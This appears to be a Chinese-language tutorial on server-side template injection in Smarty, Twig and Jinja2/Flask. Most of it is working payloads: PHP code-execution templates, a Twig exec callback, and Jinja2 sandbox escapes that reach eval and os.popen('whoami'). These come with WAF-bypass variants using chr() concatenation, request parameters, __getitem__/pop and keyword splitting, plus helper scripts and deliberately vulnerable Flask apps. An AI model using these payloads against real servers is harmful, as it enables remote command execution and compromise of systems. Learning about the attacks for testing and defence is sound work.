PHP中常见的模板
Smarty
使用安全模式来执行不信任模块, 只运行PHP白名单里的函数
Twig
与Smarty类似, 不过无法利用该模块的SSTI调用静态函数
PHP常见模板入门
Smarty不使用预先准备好的模板
下图代码中. 我们直接在后端写一个模块(也就是Welcome to level1) , 而不是去让变量跟模块中的值绑定
<?php
require 'libs/Smarty.class.php';
$smarty = new Smarty();
$level1 = @$_GET['level1'] ?: 'Guest';
@$smarty->display('strong:' . "welcome to level1," . $level1);
Smarty使用预先准备好的模板
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Level2</title>
</head>
<body>
Level2:{$level2}
</body>
</html>
<?php
require 'libs/Smarty.class.php';
$smarty = new Smarty();
$level2 = @$_GET['level2'] ?: 'Guest';
@$smarty->assign('level2', $level2);
@$smarty->display('index.html');
Smarty: 设置在模板中允许执行的函数白名单
主要是通过设置$php_functions中的值来实现,默认值为array('isset','empty','count','sizeof', 'in_array', 'is_array', 'time', 'nl2br')
<?php
require 'libs/Smarty.class.php';
$level2 = @$_GET['level2'] ?: 'Guest';
$smarty = new Smarty();
#设置安全策略
$sec_policy = new Smarty_Security($smarty);
$sec_policy->php_functions = ['phpinfo'];
$smarty->enableSecurity($sec_policy);
@$smarty->display('strong:' . "welcome to level2," . $level2);
PHP ssti常见payload
Smarty
针对Smarty
查看版本
{$smarty.version}
运行php代码
{phpinfo()}
{if phpinfo()}{/if}
针对SmartyBC
$smarty = new SmartyBC();
查看版本
{$smarty.version}
运行php代码
{phpinfo()}
{if phpinfo()}{/if}
{php}phpinfo();{/php}
Twig
RCE
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("whoami")}}
绕过WAF
常见的waf防御思路
过滤方括号和单双引号,阻止使用for循环找各种类
过滤关键字__class__,__base__
过滤下划线
常见的waf绕过
绕过单双引号
两个思路:
利用chr()
找到builtin,获取chr函数,之后进行拼接
如chr(97)+chr(54)就可以获取到a6这个字符串
用以下脚本找到有__builtins__的类
# 利用chr()
# 找到builtin,获取chr函数,之后进行拼接
# 如chr(97)+chr(54)就可以获取到a6这个字符串
# 用脚本找到有__builtins__的类
total = 0
location = 0
for __class in object.__subclasses__():
try:
print("[*] find it ")
print("\tExecuted code:object.__subclasses__()[{location}].__init__.__globals__['__builtins']".format(
location=location))
print("\tClass:{}".format(__class.__name__))
print("\tLocation:{}".format(location))
total += 1
except AttributeError:
pass
location += 1
print("-------------------------------------")
print("[*] Total:{}".format(total))
先定义chr为chr这个函数
{% set chr=().__class__.__base__.__subclasses__()[80].__init__.__globals__.__builtins__.chr %}
然后再用chr函数把单双引号里面的字符用chr函数和加号来拼接
我们用下面这个脚本来将字符串转成str()函数的拼接
template = "chr({ascii})+"
while True:
res = ""
_str = input("[*] String:")
for _chr in _str:
res += template.format(ascii=ord(_chr))
print("\t{before} ==>{after}".format(before=_str, after=res[:-1]))
payload
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == chr(99)+chr(97)+chr(116)+chr(99)+chr(104)+chr(95)+chr(119)+chr(97)+chr(114)+chr(110)+chr(105)+chr(110)+chr(103)+chr(115) %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if chr(101)+chr(118)+chr(97)+chr(108) in b.keys() %}
{{ b[chr(101)+chr(118)+chr(97)+chr(108)](chr(95)+chr(95)+chr(105)+chr(109)+chr(112)+chr(111)+chr(114)+chr(116)+chr(95)+chr(95)+chr(40)+chr(34)+chr(111)+chr(115)+chr(34)+chr(41)+chr(46)+chr(112)+chr(111)+chr(112)+chr(101)+chr(110)+chr(40)+chr(34)+chr(119)+chr(104)+chr(111)+chr(97)+chr(109)+chr(105)+chr(34)+chr(41)+chr(46)+chr(114)+chr(101)+chr(97)+chr(100)+chr(40)+chr(41)) }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
利用request
可利用request.args、request.form或request.value获取GET/POST发送的参数
catch_warnings' ==> request.form.module
'eval' ==> request.form.eval
'__import__("os").popen("whoami").read()' ==> request.form.code
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == request.form.module %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if request.form.eval in b.keys() %}
{{ b[request.form.eval](request.form.code) }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
然后post传参
module=catch_warnings&eval=eval&code=__import__("os").popen("whoami").read()
网站源码
import flask
import os
app = flask.Flask(__name__)
@app.route('/')
def index():
return open(__file__).read()
@app.route('/<input>', methods=['GET', 'POST'])
def hello(input):
def is_dangerous(s):
blacklist = ['"', '\'']
for b in blacklist:
if b in s:
return True
if is_dangerous(input):
template = "forbidden"
else:
template = "Your input:{}".format(input)
return flask.render_template_string(template)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=80, debug=False)
绕过方括号
使用__getitem__()或pop()
网站源码
import flask
import os
app = flask.Flask(__name__)
@app.route('/')
def index():
return open(__file__).read()
@app.route('/<input>', methods=['GET', 'POST'])
def hello(input):
def is_dangerous(s):
blacklist = ['"', '\'']
for b in blacklist:
if b in s:
return True
if is_dangerous(input):
template = "forbidden"
else:
template = "Your input:{}".format(input)
return flask.render_template_string(template)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=80, debug=False)
payload
getitem
hhttp://127.0.0.1/{% for c in "".__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b.__getitem__('eval') ('__import__("os").popen("whoami").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
pop
pop获取到类之后会把这个类从列表中删除,所以这个payload只能用一次
http://127.0.0.1/{% for c in "".__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b.pop('eval') ('__import__("os").popen("whoami").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
绕过关键字(__class,__base等)
base64编码绕过(仅适用于python2)
{{""['X19jbGFzc19f'.decode('base64')]['X19iYXNlX18='.decode('base64')]}}
字符串拼接绕过
{{""['__class'+'__']['__ba'+'se__'].__subclasses__()[40]}}
绕过下划线
主要使用request
get请求传参{{“”[request.values.aaa]}}
post请求传参aaa=__class__